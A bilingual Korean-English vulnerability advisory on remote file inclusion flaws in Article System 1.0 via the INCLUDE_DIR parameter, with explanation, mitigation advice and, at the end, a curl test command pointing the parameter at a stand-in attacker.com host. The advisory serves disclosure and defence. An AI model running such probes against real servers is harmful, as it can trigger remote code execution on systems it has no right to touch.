🇰🇷 한글 설명
Article System 1.0에서 INCLUDE_DIR 파라미터를 통한 원격 파일 포함(RFI) 취약점이 발견되었습니다. forms.php, issue_edit.php, client.php, classes.php 파일에서 입력 검증 없이 파라미터를 처리하여 공격자가 원격의 악의적인 PHP 파일을 포함시켜 임의 코드 실행이 가능합니다.
💡 쉬운 설명
Article System 프로그램의 파일 불러오기 기능에 문제가 있어 공격자가 인터넷 어디서나 코드를 가져와 웹 서버에서 실행시킬 수 있습니다. 이를 통해 웹사이트를 완전히 제어하거나 데이터를 탈취할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Article System 1.0 allow remote attackers to execute arbitrary PHP code via a URL in the INCLUDE_DIR parameter to (1) forms.php, (2) issue_edit.php, (3) client.php, and (4) classes.php.
📍 영향받는 시스템
Article System 1.0 (forms.php, issue_edit.php, client.php, classes.php)
⚔️ 공격 벡터
HTTP 요청의 INCLUDE_DIR 파라미터에 악의적인 원격 URL을 주입하여 임의의 PHP 파일 실행
🛡️ 대응 방법
Article System을 최신 버전으로 업그레이드하고, 파일 포함 함수의 입력값을 화이트리스트로 검증 및 remote file inclusion 차단
🔧 검증 코드
공격 URL에 접근 시 원격 서버의 콘텐츠가 포함되면 취약점이 존재하며, 접근 불가 또는 오류 발생 시 해당 파일이 없거나 이미 패치되었을 가능성이 있습니다.
curl -s 'http://target/forms.php?INCLUDE_DIR=http://attacker.com/' | grep -q 'attacker' && echo 'Vulnerable' || echo 'Not directly exploitable'